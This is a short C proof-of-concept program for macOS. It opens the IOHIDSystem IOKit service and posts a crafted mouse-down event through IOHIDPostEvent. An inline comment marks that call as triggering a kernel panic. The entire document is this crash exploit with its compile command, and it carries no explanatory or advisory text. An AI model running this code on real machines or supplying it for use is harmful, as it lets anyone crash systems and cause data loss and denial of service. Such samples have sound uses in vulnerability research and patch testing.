// Compile using gcc -o bug bug.c -framework IOKit
#include <IOKit/hidsystem/IOHIDShared.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char **argv)
{
io_service_t service, hidConnection;
mach_port_t masterPort;
NXEventData eventData;
if (IOMasterPort(MACH_PORT_NULL, &masterPort) != KERN_SUCCESS)
return -1;
service = IOServiceGetMatchingService
(kIOMasterPortDefault, IOServiceMatching(kIOHIDSystemClass));
IOServiceOpen
(service, mach_task_self(),
kIOHIDParamConnectType, &hidConnection);
IOObjectRelease(service);
eventData.mouseMove.dx = 0;
eventData.mouseMove.dy = 0;
eventData.mouse.buttonNumber = 0;
eventData.mouse.click = 0;
// Kernel Panic
(void)IOHIDPostEvent
(hidConnection, NX_LMOUSEDOWN, (IOGPoint){0, 0}, &eventData,
kNXEventDataVersion, 0, kIOHIDPostHIDManagerEvent);
// Never executed?
IOServiceClose(hidConnection);
return 0;
}